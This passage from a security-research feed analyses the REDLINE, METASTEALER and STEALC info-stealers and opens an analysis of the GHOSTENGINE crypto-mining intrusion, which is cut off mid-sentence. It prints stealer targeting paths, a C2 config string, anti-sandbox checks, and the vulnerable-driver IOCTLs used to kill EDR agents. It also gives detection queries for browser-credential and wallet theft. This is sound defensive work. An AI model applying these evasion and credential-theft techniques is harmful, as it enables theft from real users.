<p>Mitigating this kind of covert threat requires a multi-faceted approach consistent with defense-in-depth principles. We will likewise describe various techniques for detection, including the use of ES|QL hunting queries and Yara rules which empower organizations to proactively defend against them.</p>
<h2>Telemetry overview</h2>
<p>The telemetry data showcased in this article encompasses insights gathered from both internal and external sources, providing a comprehensive understanding of threat activity.</p>
<p>Notably, between 2022 and 2023, REDLINE emerged as the most prevalent malware in the wild, closely trailed by AGENT TESLA, VIDAR, and then STEALC. It's worth highlighting that this period marked the debut of STEALC in the wild, indicative of evolving threat landscapes.</p>
<p>In the subsequent time frame, spanning from 2023 to 2024, there was a notable spike in AGENT TESLA activity, followed by REDLINE, STEALC, and VIDAR, reflecting shifting trends in malware prevalence and distribution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image6.png" alt="Telemetry data May 2023 - May 2024" />
Elastic telemetry data May 2023 - May 2024</p>
<p>Despite fluctuations in general malware prevalence, AGENT TESLA has consistently maintained its position as a prominent threat. This enduring dominance can be attributed to several factors, including its relatively low price point and enticing capabilities, which appeal to a wide range of threat actors, particularly those operating with limited resources or expertise.</p>
<p>A noteworthy observation is that due to METASTEALER’s foundation on REDLINE, certain METASTEALER samples may inadvertently fall under the categorization of REDLINE.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image5.png" alt="METASTEALER triggering REDLINE signatures" /></p>
<h2>Top stealers overview</h2>
<h3>REDLINE (REDLINE STEALER)</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer">REDLINE</a> made its debut in the threat landscape in 2020, leveraging email as its initial distribution method; it operates on a Malware-as-a-Service (MaaS) model, making it accessible to a wide range of threat actors. Its affordability and availability in underground forums have contributed to its popularity among cybercriminals.</p>
<p>The latest operations of REDLINE involve multiple infection vectors, including email phishing, malicious websites hosting seemingly legitimate applications, and social engineering tactics. Our researchers analyzed a recent sample <a href="https://x.com/vxunderground/status/1634713832974172167">reported by vx-underground</a> indicating a campaign targeting engineers on the freelancing platform Fiverr. This tactic poses significant risks, potentially leading to the compromise of companies through unsuspecting freelancers.</p>
<p>REDLINE is built on the .NET framework, which provides it with portability and ease of implementation. It has a variety of functionalities aimed at gathering vital system information and extracting sensitive data:</p>
<ul>
<li>System information acquisition:</li>
<li>Collects essential system details such as UserName, Language, and Time Zone</li>
<li>Retrieves hardware specifics including processor and graphic card information</li>
<li>Monitors running processes and identifies installed browsers</li>
<li>Data extraction:</li>
<li>Targets browser data repositories, extracting saved passwords, credit card details, cookies, and auto-fill entries</li>
<li>Procures VPN login credentials for unauthorized access</li>
<li>Logs user credentials and chat histories from platforms like Discord and Telegram</li>
<li>Identifies and steals cryptocurrency wallets, potentially compromising valuable digital assets:</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image13.png" alt="REDLINE collecting system information" /></p>
<p>REDLINE uses a string obfuscation technique to hinder analysis and evade detection based on strings like yara by dynamically constructing the strings at runtime from an array of characters:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image4.png" alt="REDLINE string obfuscation" /></p>
<p>Its configuration is structured within a static class, containing four public fields:  <code>IP</code>,  <code>ID</code>, <code>Message</code>, and an XOR Key. The <code>IP</code> and <code>ID</code> fields contents are encrypted using XOR encryption and then encoded in base64 as depicted below:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image3.png" alt="REDLINE's configuration" /></p>
<h3>METASTEALER</h3>
<p><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer">METASTEALER</a> emerged in 2022, initially advertised as a derivative of REDLINE, with additional features; our malware analysts recently encountered a sample of METASTEALER within a campaign masquerading as Roblox, previously <a href="https://x.com/CERT_OPL/status/1767191320790024484">reported by CERT as Orange Polska</a>.</p>
<p>METASTEALER is primarily developed using the .NET framework, facilitating its compatibility with Windows environments and enabling ease of implementation. Certain versions employ obfuscation methods, including obscuring the control flow of the malware and making it more challenging to detect or analyze.</p>
<p>This METASTEALER sample utilizes the <a href="https://www.secureteam.net/">AGILE.NET</a> obfuscator, specifically its proxy call obfuscation method. This technique is used to conceal the direct invocation of an original function by introducing an additional layer of abstraction. Instead of directly invoking the function, AGILE.NET generates a proxy method that then invokes the original function. This added complexity makes it more challenging for code analysts to discern the sequence of actions.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image9.png" alt="METASTEALER's obfuscation" /></p>
<p>Looking at the code above, we can see the method <code>Delegate11.smethod_0</code> calls a <code>Delegate11.delegate11_0</code> which is not initialized, introducing ambiguity during static analysis as analysts cannot determine which method will actually be executed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image14.png" alt="METASTEALER initializing the delegate" /></p>
<p>At runtime, the malware will initialize the delegate. by calling the method <code>Class4.smethod_13</code> in the constructor of <code>Delegate11</code> class, this method constructs a dictionary of token values, where each key represents the token value of a delegate (e.g., <code>0x040002DE</code>), and its corresponding value represents the token of the original method to be executed. This dictionary is constructed from a sequence of bytes stored in the binary, enabling dynamic resolution of method invocations during runtime.</p>
<p>Following this, it will generate a dynamic method for the delegate and execute it using the <code>smethod_0</code> function.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image8.png" alt="METASTEALER generating delegates dynamic method" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image7.png" alt="METASTEALER checking for debuggers" /></p>
<p>All the important strings in the configuration, like the C2 IP address and port, are encrypted. The malware has a class called <code>Strings</code> that is called at the start of execution to decrypt all the strings at once, a process involving a combination of Base64 encoding, XOR decryption, and AES CBC decryption.</p>
<p>Initially, the AES parameters, such as the <code>AES KEY</code> and <code>AES IV</code>, undergo decryption. In the provided example, the <code>AES KEY</code> and <code>AES IV</code> are first base64 decoded. Subsequently, they are subjected to XOR decryption using a predetermined XOR key, followed by two consecutive base64 decoding steps.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image1.png" alt="Encrypted AES parameters" /></p>
<p>The Strings class holds byte arrays that are decrypted using AES CBC after being reversed, and then appended to the <strong>Strings.Array</strong> list. Later, when the malware requires specific strings, it accesses them by indexing this list. For example <strong>String.get(6)</strong>.</p>
<h3>STEALC</h3>
<p>A recent major player in the stealer space <a href="https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/">discovered</a> by Sekoia in February 2023 is the <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc">STEALC</a> family. This malware was first advertised in an underground forum in January 2023 where the developer mentioned a major dependency on existing families such as VIDAR, RACOON, and REDLINE. Since this timeframe, our team has observed new STEALC samples daily showing signs of popularity and adoption by cybercriminals.</p>
<p>STEALC is implemented in C and includes features like dynamic imports, string obfuscation, and various anti-analysis checks prior to activating its data-stealing capabilities. In order to protect the binary and its core features, STEALC encrypts its strings using a combination of Base64 + RC4 using a hardcoded key embedded in each sample.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image10.png" alt="Embedded RC4 key and encrypted strings within STEALC" /></p>
<p>There are 6 separate functions used for anti-analysis/anti-sandbox checks within STEALC. Based on the number of processors, STEALC will terminate itself if the active processor count is less than 2.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image2.png" alt="Retrieve number of processors" /></p>
<p>STEALC performs a sandbox/emulation test using a more obscure Windows API (<code>VirtualAllocExNuma</code>) to allocate a large amount of memory. If the API is not implemented, the process will terminate.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image15.png" alt="API check using VirtualAllocExNuma" /></p>
<p>The malware performs another sandbox check by reading values from <code>GlobalMemoryStatusEx</code>. After a byte shift against the collected attributes of the physical memory, if the value is less than <code>0x457</code> the sample will terminate.</p>
<p>The malware will stop execution if the language identifier matches one of the following LangIDs:</p>
<ul>
<li>Russian_Russia  (<code>0x419</code>)</li>
<li>Ukrainian_Ukraine  (<code>0x422</code>)</li>
<li>Belarusian_Belarus (<code>0x423</code>)</li>
<li>Kazakh_Kazakhstan (<code>0x43f</code>)</li>
<li>Uzbek_Latin__Uzbekistan (<code>0x443</code>)</li>
</ul>
<p>STEALC also incorporates the Microsoft Defender emulation check, we have observed this in many stealers such as seen in <a href="https://www.elastic.co/jp/security-labs/elastic-security-labs-discovers-lobshot-malware">LOBSHOT</a>. STEALC will terminate if the following hard-coded values match inside Microsoft Defender’s emulation layer with the username <code>JohnDoe</code> and computer name of <code>HAL9TH</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/image12.png" alt="Microsoft Defender emulation check using computer name and username" /></p>
<p>One of the more impactful anti-analysis checks that comes with STEALC is an expiration date. This unique value gets placed into the malware’s config to ensure that the stealer won’t execute after a specific date set by the builder. This allows the malware to keep a lower profile by using shorter turnarounds in campaigns and limiting the execution in sandbox environments.</p>
<h4>STEALC - Execution flow</h4>
<p>After its initial execution, STEALC will send the initial hardware ID of the machine and receive a configuration from the C2 server:</p>
<pre><code>f960cc969e79d7b100652712b439978f789705156b5a554db3acca13cb298050efa268fb|done|tested.file|1|1|1|1|1|1|1|1|
</code></pre>
<p>After this request, it will send multiple requests to receive an updated list of targeted browsers and targeted browser extensions. Below is an example of the browser configuration, this contains the targeted directory path where the sensitive data is stored.</p>
<pre><code>Google Chrome|\Google\Chrome\User Data|chrome|chrome.exe|Google Chrome Canary|\Google\Chrome SxS\User Data|chrome|chrome.exe|Chromium|\Chromium\User Data|chrome|chrome.exe|Amigo|\Amigo\User Data|chrome|0|Torch|\Torch\User Data|chrome|0|Vivaldi|\Vivaldi\User Data|chrome|vivaldi.exe|Comodo Dragon|\Comodo\Dragon\User Data|chrome|0|EpicPrivacyBrowser|\Epic Privacy Browser\User Data|chrome|0|CocCoc|\CocCoc\Browser\User Data|chrome|0|Brave|\BraveSoftware\Brave-Browser\User Data|chrome|brave.exe|Cent Browser|\CentBrowser\User Data|chrome|0|7Star|\7Star\7Star\User Data|chrome|0|Chedot Browser|\Chedot\User Data|chrome|0|Microsoft Edge|\Microsoft\Edge\User Data|chrome|msedge.exe|360 Browser|\360Browser\Browser\User Data|chrome|0|QQBrowser|\Tencent\QQBrowser\User Data|chrome|0|CryptoTab|\CryptoTab Browser\User Data|chrome|browser.exe|Opera Stable|\Opera Software|opera|opera.exe|Opera GX Stable|\Opera Software|opera|opera.exe|Mozilla Firefox|\Mozilla\Firefox\Profiles|firefox|0|Pale Moon|\Moonchild Productions\Pale Moon\Profiles|firefox|0|Opera Crypto Stable|\Opera Software|opera|opera.exe|Thunderbird|\Thunderbird\Profiles|firefox|0|
</code></pre>
<p>At this point, STEALC will then collect a broad range of victim information. This information is then formatted, Base64 encoded, and then sent to the C2 server over POST requests using form data fields.</p>
<ul>
<li>Hardware ID</li>
<li>Windows OS product info</li>
<li>Processor / RAM information</li>
<li>Username / computername</li>
<li>Local system time / time zone / locale of victim</li>
<li>Keyboard layout</li>
<li>Battery check (used to determine if laptop or not)</li>
<li>Desktop resolution, display info</li>
<li>Installed programs, running processes</li>
</ul>
<p>For the stealing component, STEALC leverages the received configurations in order to collect various valuable information including:</p>
<ul>
<li>Browser cookies</li>
<li>Login data</li>
<li>Web data</li>
<li>History</li>
<li>Cryptocurrency wallets</li>
</ul>
<p>STEALC also offers other various configuration options including:</p>
<ul>
<li>Telegram data</li>
<li>Discord</li>
<li>Tox</li>
<li>Pidgin</li>
<li>Steam</li>
<li>Outlook emails</li>
</ul>
<table>
<thead>
<tr>
<th></th>
<th>RedLine Stealer</th>
<th>Meta Stealer</th>
<th>Stealc</th>
</tr>
</thead>
<tbody>
<tr>
<td>First time seen in the wild</td>
<td>2020</td>
<td>2022</td>
<td>2023</td>
</tr>
<tr>
<td>Source Language</td>
<td>C#</td>
<td>C#</td>
<td>C</td>
</tr>
<tr>
<td>Average size (unpacked)</td>
<td>253 KB</td>
<td>278 KB</td>
<td>107 KB</td>
</tr>
<tr>
<td>String obfuscation? Algo?</td>
<td>Yes</td>
<td>Yes</td>
<td>Yes (custom RC4 + base64)</td>
</tr>
</tbody>
</table>
<h2>Detection</h2>
<p>To fully leverage detection capabilities listed below for these threats with Elastic Security, it is essential to integrate <a href="https://docs.elastic.co/en/integrations/endpoint">Elastic Defend</a> and <a href="https://docs.elastic.co/en/integrations/windows">Windows</a>.</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to WebService by an Unsigned Binary</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_connection_to_webservice_by_a_signed_binary_proxy.toml">Connection to WebService by a Signed Binary Proxy</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_suspicious_dns_query_from_mounted_virtual_disk.toml">Suspicious DNS Query from Mounted Virtual Disk</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_suspicious_access_to_web_browser_credential_stores.toml">Suspicious Access to Web Browser Credential Stores</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unsigned_process.toml">Web Browser Credential Access via Unsigned Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_access_to_browser_credentials_from_suspicious_memory.toml">Access to Browser Credentials from Suspicious Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_failed_access_attempt_to_web_browser_files.toml">Failed Access Attempt to Web Browser Files</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/credential_access_web_browser_credential_access_via_unusual_process.toml">Web Browser Credential Access via Unusual Process</a></li>
</ul>
<h3>ES|QL queries</h3>
<p>The following list of hunts and detection queries can be used to detect stealers activities:</p>
<ul>
<li>
<p>Identifies untrusted or unsigned executables making DNS requests to Telegram or Discord domains, which may indicate command-and-control communication attempts.</p>
<pre><code class="language-sql">from logs-endpoint*
| where (process.code_signature.trusted == false or process.code_signature.exists == false)
| where dns.question.name in (&quot;api.telegram.com&quot;, &quot;cdn.discordapp.com&quot;,
                                &quot;discordapp.com&quot;, &quot;discord.com&quot;,&quot;discord.gg&quot;,&quot;cdn.discordapp.com&quot;)
| stats executable_count = count(*) by process.executable, process.name, dns.question.name
| sort executable_count desc
</code></pre>
</li>
<li>
<p>Detects suspicious activies targeting crypto wallets files and configurations stored on Windows systems.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
and event.action == &quot;open&quot; 
and (
  file.path rlike &quot;&quot;&quot;C:\\Users\\.+\\AppData\\Roaming\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
  or file.path rlike &quot;&quot;&quot;C:\\ProgramData\\.+\\(Bitcoin|Ethereum|Electrum|Zcash|Monero|Wallet|Litecoin|Dogecoin|Coinbase|Exodus|Jaxx|MyEtherWallet|MetaMask)\\.*&quot;&quot;&quot;
)
| keep process.executable, process.name, host.id, file.path, file.name
| stats number_hosts = count_distinct(host.id), unique_files = count_distinct(file.name) by process.executable
| where number_hosts == 1 and unique_files &gt;= 3
| sort number_hosts desc
</code></pre>
</li>
<li>
<p>Monitors access to sensitive browser data, such as cookies, login data, and browsing history, which may indicate information-stealing malware activities.</p>
<pre><code class="language-sql">from logs-endpoint.events.file-*, logs-windows.sysmon_operational-default-*
| where @timestamp &gt; now() - 14 days
| where host.os.type == &quot;windows&quot;
and event.category == &quot;file&quot;
and event.action in (&quot;open&quot;, &quot;modification&quot;)
and (
  file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Local\\\\(Google\\\\Chrome\\\\User Data\\\\.*|Google\\\\Chrome SxS\\\\User Data\\\\.*|Chromium\\\\User Data\\\\.*|Amigo\\\\User Data\\\\.*|Torch\\\\User Data\\\\.*|Vivaldi\\\\User Data\\\\.*|Comodo\\\\Dragon\\\\User Data\\\\.*|Epic Privacy Browser\\\\User Data\\\\.*|CocCoc\\\\Browser\\\\User Data\\\\.*|BraveSoftware\\\\Brave-Browser\\\\User Data\\\\.*|CentBrowser\\\\User Data\\\\.*|7Star\\\\7Star\\\\User Data\\\\.*|Chedot\\\\User Data\\\\.*|Microsoft\\\\Edge\\\\User Data\\\\.*|360Browser\\\\Browser\\\\User Data\\\\.*|Tencent\\\\QQBrowser\\\\User Data\\\\.*|CryptoTab Browser\\\\User Data\\\\.*|Opera Software\\\\Opera Stable\\\\.*|Opera Software\\\\Opera GX Stable\\\\.*)\\\\(Default|Profile \\\\d+)\\\\(Cookies|Login Data|Web Data|History|Bookmarks|Preferences|Visited Links|Network Action Predictor|Top Sites|Favicons|Shortcuts)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Mozilla\\\\Firefox\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key4.db|cert9.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Moonchild Productions\\\\Pale Moon\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|places.sqlite|key3.db|cert8.db)&quot;
  or file.path rlike &quot;C:\\\\Users\\\\.+\\\\AppData\\\\Roaming\\\\Thunderbird\\\\Profiles\\\\.*\\\\(cookies.sqlite|logins.json|key4.db|cert9.db)&quot;
)
| keep process.executable, process.name, event.action, host.id, host.name, file.path, file.name
| eval process_path = replace(process.executable, &quot;([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}|ns[a-z][A-Z0-9]{3,4}\\.tmp|DX[A-Z0-9]{3,4}\\.tmp|7z[A-Z0-9]{3,5}\\.tmp|[0-9\\.\\-_]{3,})&quot;, &quot;&quot;)
| eval process_path = replace(process_path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| eval normalized_file_path = replace(file.path, &quot;[cC]:\\\\[uU][sS][eE][rR][sS]\\\\[a-zA-Z0-9\\.\\-_\\$~ ]+\\\\&quot;, &quot;C:\\\\users\\\\user\\\\&quot;)
| stats number_hosts = count_distinct(host.id) by process.executable, process.name, event.action, normalized_file_path, file.name, host.name
| where number_hosts == 1
| sort number_hosts desc
</code></pre>
</li>
</ul>
<h3>Yara rules</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_MetaStealer.yar">Windows Trojan MetaStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_Stealc.yar">Windows Trojan Stealc</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_RedLineStealer.yar">Windows Trojan RedLineStealer</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_AgentTesla.yar">Windows Trojan AgentTesla</a></li>
</ul>
<h2>Conclusion</h2>
<p>In conclusion, it's crucial to recognize that these malware threats pose significant risks to both companies and individuals alike. Their affordability makes them accessible not only to sophisticated cybercriminals but also to small-time offenders and script kiddies. This accessibility underscores the democratisation of cybercrime, where even individuals with limited technical expertise can deploy malicious software.</p>
<p>Elastic's comprehensive suite of security features offers organisations and individuals the tools they need to defend against malware attacks effectively. From advanced threat detection to real-time monitoring and response capabilities.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/globally-distributed-stealers/Security Labs Images 25.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Invisible miners: unveiling GHOSTENGINE’s crypto mining operations]]></title>
            <link>https://www.elastic.co/jp/security-labs/invisible-miners-unveiling-ghostengine</link>
            <guid>invisible-miners-unveiling-ghostengine</guid>
            <pubDate>Wed, 22 May 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs has identified REF4578, an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs has identified an intrusion set incorporating several malicious modules and leveraging vulnerable drivers to disable known security solutions (EDRs) for crypto mining. Additionally, the team discovered capabilities to establish persistence, install a previously undocumented backdoor, and execute a crypto-miner. We refer to this intrusion set as REF4578 and the primary payload as GHOSTENGINE (tangental research by the team at Antiy has named parts of this intrusion set <a href="https://www.antiy.com/response/HideShoveling.html">HIDDENSHOVEL</a>).</p>
<h2>Key takeaways</h2>
<ul>
<li>Malware authors incorporated many contingency and duplication mechanisms</li>
<li>GHOSTENGINE leverages vulnerable drivers to terminate and delete known EDR agents that would likely interfere with the deployed and well-known coin miner</li>
<li>This campaign involved an uncommon amount of complexity to ensure both the installation and persistence of the XMRIG miner</li>
</ul>
<h2>Code analysis</h2>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image4.png" alt="REF4578 execution flow" title="REF4578 execution flow" /></p>
<p>On May 6, 2024, at 14:08:33 UTC,  the execution of a PE file named <code>Tiworker.exe</code> (masquerading as the legitimate Windows <code>TiWorker.exe</code> file) signified the beginning of the REF4578 intrusion. The following alerts were captured in telemetry, indicating a known vulnerable driver was deployed.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image8.png" alt="REF4578 executes Tiworker to start the infection chain" title="REF4578 executes Tiworker to start the infection chain" /></p>
<p>Upon execution, this file downloads and executes a PowerShell script that orchestrates the entire execution flow of the intrusion. Analysis revealed that this binary executes a hardcoded PowerShell command line to retrieve an obfuscated script, <code>get.png,</code> which is used to download further tools, modules, and configurations from the attacker C2– as depicted in the screenshot below.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image10.png" alt="Downloading get.png" title="Downloading get.png" /></p>
<h3>GHOSTENGINE</h3>
<p>GHOSTENGINE is responsible for retrieving and executing modules on the machine. It primarily uses HTTP to download files from a configured domain, with a backup IP in case domains are unavailable. Additionally, it employs FTP as a secondary protocol with embedded credentials. The following is a summary of the execution flow:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image11.png" alt="The get.png PowerShell script" title="The get.png PowerShell script" /></p>
<p>This script downloads and executes <code>clearn.png</code>, a component designed to purge the system of remnants from prior infections belonging to the same family but different campaign; it removes malicious files under <code>C:\Program Files\Common Files\System\ado</code> and <code>C:\PROGRA~1\COMMON~1\System\ado\</code> and removes the following scheduled tasks by name:</p>
<ul>
<li><code>Microsoft Assist Job</code></li>
<li><code>System Help Center Job</code></li>
<li><code>SystemFlushDns</code></li>
<li><code>SystemFlashDnsSrv</code></li>
</ul>
<p>Evidence of those scheduled task artifacts may be indicators of a prior infection.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image12.png" alt="clearn.png removing any infections from previous campaigns" title="clearn.png removing any infections from previous campaigns" /></p>
<p>During execution, it attempts to disable Windows Defender and clean the following Windows event log channels:</p>
<ul>
<li><code>Application</code></li>
<li><code>Security</code></li>
<li><code>Setup</code></li>
<li><code>System</code></li>
<li><code>Forwarded Events</code></li>
<li><code>Microsoft-Windows-Diagnostics-Performance</code></li>
<li><code>Microsoft-Windows-AppModel-Runtime/Operational</code></li>
<li><code>Microsoft-Windows-Winlogon/Operational</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image13.png" alt="get.png clearing Windows log channels" title="get.png clearing Windows log channels" /></p>
<p><code>get.png</code> disables Windows Defender, enables remote services, and clears the contents of:</p>
<ul>
<li><code>C:\Windows\Temp\</code></li>
<li><code>C:\Windows\Logs\</code></li>
<li><code>C:\$Recycle.Bin\</code></li>
<li><code>C:\windows\ZAM.krnl.trace</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image6.png" alt="get.png disabling Windows Defender and enabling remote services" title="get.png disabling Windows Defender and enabling remote services" /></p>
<p><code>get.png</code> also verifies that the <code>C:\</code> volume has at least 10 MB of free space to download files, storing them in <code>C:\Windows\Fonts</code>. If not, it will try to delete large files from the system before looking for another suitable volume with sufficient space and creating a folder under <code>$RECYCLE.BIN\Fonts</code>.</p>
<p>To get the current DNS resolution for the C2 domain names, GHOSTENGINE uses a hardcoded list of DNS servers, <code>1.1.1.1</code> and <code>8.8.8.8</code>.</p>
<p>Next, to establish persistence, <code>get.png</code> creates the following scheduled tasks as <code>SYSTEM</code>:</p>
<ul>
<li><strong>OneDriveCloudSync</strong> using <code>msdtc </code>to run  the malicious service DLL <code>C:\Windows\System32\oci.dll</code> every 20 minutes (described later)</li>
<li><strong>DefaultBrowserUpdate</strong> to run <code>C:\Users\Public\run.bat,</code> which downloads the <code>get.png</code> script and executes it every 60 minutes</li>
<li><strong>OneDriveCloudBackup</strong> to execute <code>C:\Windows\Fonts\smartsscreen.exe</code> every 40 minutes</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image21.png" alt="Scheduled tasks for persistence" title="Scheduled tasks for persistence" /></p>
<p><code>get.png</code> terminates all <code>curl.exe</code> processes and any PowerShell process with <code>*get.png*</code> in its command line, excluding the current process. This is a way to terminate any concurrently running instance of the malware.</p>
<p>This script then downloads  <code>config.txt</code>, a JSON file containing the hashes of the PE files it retrieved. This file verifies whether any updated binaries are to be downloaded by checking the hashes of the previously downloaded files from any past infections.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image9.png" alt="config.txt file used to check for updated binaries" title="config.txt file used to check for updated binaries" /></p>
<p>Finally,<code> get.png</code> downloads all of its modules and various PE files. Below is a table containing a description of each downloaded file:</p>
<table>
<thead>
<tr>
<th>path</th>
<th>Type</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>C:\Windows\System32\drivers\aswArPots.sys</code></td>
<td>Kernel driver</td>
<td>Vulnerable driver from Avast</td>
</tr>
<tr>
<td><code>C:\Windows\System32\drivers\IObitUnlockers.sys</code></td>
<td>Kernel driver</td>
<td>Vulnerable driver from IObit</td>
</tr>
<tr>
<td><code>C:\Windows\Fonts\curl.exe</code></td>
<td>PE executable</td>
<td>Used to download files via cURL</td>
</tr>
<tr>
<td><code>C:\Windows\Fonts\smartsscreen.exe</code></td>
<td>PE executable</td>
<td>Core payload (GHOSTENGINE), its main purpose is to deactivate security instrumentation, complete initial infection, and execute the miner.</td>
</tr>
<tr>
<td><code>C:\Windows\System32\oci.dll</code></td>
<td>Service DLL</td>
<td>Persistence/updates module</td>
</tr>
<tr>
<td><code>backup.png</code></td>
<td>Powershell script</td>
<td>Backdoor module</td>
</tr>
<tr>
<td><code>kill.png</code></td>
<td>Powershell script</td>
<td>A PowerShell script that injects and executes a PE file responsible for killing security sensors</td>
</tr>
</tbody>
</table>
<h3>GHOSTENGINE modules</h3>
<p>GHOSTENGINE deploys several modules that can tamper with security tools, create a backdoor, and check for software updates.</p>
<h4>EDR agent controller and miner module: smartsscreen.exe</h4>
<p>This module primarily terminates any active EDR agent processes before downloading and installing a crypto-miner.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image20.png" alt="smartscreen.exe GHOSTENGINE module" title="smartscreen.exe GHOSTENGINE module" /></p>
<p>The malware scans and compares all the running processes with a hardcoded list of known EDR agents. If there are any matches, it first terminates the security agent by leveraging the Avast Anti-Rootkit Driver file <code>aswArPots.sys</code> with the IOCTL <code>0x7299C004</code> to terminate the process by PID.</p>
<p><code>smartscreen.exe</code> is then used to delete the security agent binary with another vulnerable driver, <code>iobitunlockers.sys</code> from IObit, with the IOCTL <code>0x222124</code>.</p>
<p><code>smartscreen.exe</code> then downloads the XMRig client mining program (<code>WinRing0x64.png</code>) from the C2 server as <code>taskhostw.png</code>. Finally, it executes XMRig, its drivers, and the configuration file <code>config.json</code>, starting the mining process.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image19.png" alt="smartscreen.exe executing XMRig" title="smartscreen.exe executing XMRig" /></p>
<h4>Update/Persistence module: oci.dll</h4>
<p>The PowerShell script creates a service DLL (<code>oci.dll</code>), a phantom DLL loaded by <code>msdtc</code>. The DLL's architecture varies depending on the machine; it can be 32-bit or 64-bit. Its primary function is to create system persistence and download any updates from the C2 servers by downloading the <code>get.png</code> script from the C2 and executing it.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/invisible-miners-unveiling-ghostengine/image3.png" alt="oci.dll persistence/update mechanism" title="oci.dll persistence/update mechanism" /></p>
<p>Every time the &lt;code&gt;msdtc&lt;strong&gt; &lt;/strong&gt;&lt;/code&gt;service starts, it will load &lt;code&gt;oci.dll&lt;/code&gt; to spawn the PowerShell one-liner that executes &lt;code&gt;get.png&lt;/code&gt; :</p>
